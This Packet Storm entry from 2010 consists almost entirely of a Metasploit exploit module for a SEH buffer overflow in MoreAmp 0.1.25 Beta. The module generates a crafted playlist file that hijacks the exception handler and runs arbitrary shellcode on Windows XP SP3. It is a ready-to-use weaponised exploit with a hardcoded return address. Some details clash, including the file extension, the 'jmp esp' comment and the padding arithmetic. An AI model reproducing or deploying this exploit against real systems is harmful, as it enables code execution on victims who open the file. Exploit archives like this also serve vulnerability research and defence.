MoreAmp 0.1.25 Beta Buffer Overflow (SEH)

2010-07-18T00:00:00
ID PACKETSTORM:91930
Type packetstorm
Reporter MadjiX
Modified 2010-07-18T00:00:00

Description

                                        
                                            `#MoreAmp Seh Buffer Overflow (meta)  
#Greetz:His0k4 , Bibi-info , Volc4n0  
#sec4ever.com  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'MoreAmp 0.1.25 Beta Buffer Overflow (SEH)',  
'Description' => %q{  
This module exploits a SEH overflow in 0.1.25 MoreAmp Beta  
By creating a specially crafted .m3u file, an an attacker may be able  
to execute arbitrary code.  
},  
'License' => MSF_LICENSE,  
'Author' => 'MadjiX',  
'Version' => 'Version 1',  
'References' =>  
[  
[ 'OSVDB', '65789' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/13942/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1400,  
'BadChars' => "\x00\x20\x0a\x0d",  
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP3 Fr', { 'Ret' => 0x7C86467B} ], # 0x7C86467B jmp esp kernel.32  
  
],  
'Privileged' => false,  
'DisclosureDate' => '17-07-2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ false, 'The file name.', 'MadjiX.maf']),  
], self.class)  
end  
  
  
def exploit  
  
sploit = rand_text_alphanumeric(108)  
sploit << "\xeb\x06\x90\x90"  
sploit << [target.ret].pack('V')  
sploit << payload.encoded  
sploit << rand_text_alphanumeric(400 - payload.encoded.length)  
  
maffile = sploit  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
file_create(maffile)  
  
end  
  
end  
  
`